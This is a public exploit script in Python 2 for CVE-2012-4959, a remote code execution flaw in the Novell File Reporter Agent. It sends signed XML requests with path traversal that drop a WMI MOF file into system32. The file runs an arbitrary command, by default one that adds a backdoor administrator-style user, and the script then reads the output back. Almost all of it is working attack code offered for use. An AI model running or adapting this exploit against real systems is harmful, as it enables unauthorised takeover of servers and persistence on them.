# Novell File Reporter Agent XML Parsing Remote Code Execution Vulnerability (0day) # CVE-2012-4959 # @abysssec # well just one more of our 0day got published after ~2 year # here is info : https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959 # and here is our exploit import httplib, md5, sys def message_MD5(arg): v = "SRS" + arg + "SERVER" m = md5.new(v) return m.hexdigest() def genMof(command="net user abysssec 123456 /add"): vbs = "" vbs += "\"Set objShell = CreateObject(\\\"WScript.Shell\\\")\\n\"\n" vbs += "\"objShell.Run \\\"cmd.exe /C " vbs += command vbs += "\\\"\"" mof = """ #pragma namespace ("\\\\\\\\.\\\\root\\\\subscription") #pragma deleteclass("MyASEventConsumer", nofail) #pragma deleteinstance("__EventFilter.Name=\\\"EF\\\"", nofail) #pragma deleteinstance("ActiveScriptEventConsumer.Name=\\\"ASEC\\\"", nofail) class MyASEventConsumer { [key]string Name; }; instance of ActiveScriptEventConsumer as $CONSUMER { CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0}; Name = "ASEC"; ScriptingEngine = "VBScript"; ScriptText = SCRIPT; }; instance of __EventFilter as $FILTER { CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0}; Name = "EF"; Query = "SELECT * FROM __InstanceCreationEvent" " WHERE TargetInstance.__class = \\"MyASEventConsumer\\""; QueryLanguage = "WQL"; }; instance of __FilterToConsumerBinding as $BINDING { CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0}; Filter = $FILTER; Consumer = $CONSUMER; }; instance of MyASEventConsumer { Name = "Trigger"; }; """.replace('SCRIPT',vbs) return mof def main(argv=None): if argv is None: argv = sys.argv if len(argv) != 2: print "[!] USAGE : mof \"<command]>\"" return msg = "<ROOT><NAME>FSFUI</NAME><UICMD>130</UICMD><TOKEN><FILE>../../../../../../Windows/system32/wbem/mof/command.mof</FILE></TOKEN><![CDATA[" msg += genMof(argv[1] + "> C:/Windows/System32/info.dat") msg += "]]></ROOT>" body = message_MD5(msg).upper() + msg headers = {"Content-type": "text/xml"} conn = httplib.HTTPSConnection("192.168.10.20:3037") conn.request("POST", "/SRS/CMD",body, headers) response = conn.getresponse() print "\n...Command Executed ..." print response.status, response.reason print response.read() msg = "<ROOT><NAME>FSFUI</NAME><UICMD>126</UICMD><TOKEN><FILE>../../../../../../WINDOWS/system32/info.dat</FILE></TOKEN></ROOT>" body = message_MD5(msg).upper() + msg conn.request("POST", "/SRS/CMD",body, headers) response = conn.getresponse() conn.request("POST", "/SRS/CMD",body, headers) response = conn.getresponse() print "\n...Getting result ..." print response.status, response.reason print response.read() conn.close() if __name__ == "__main__": main()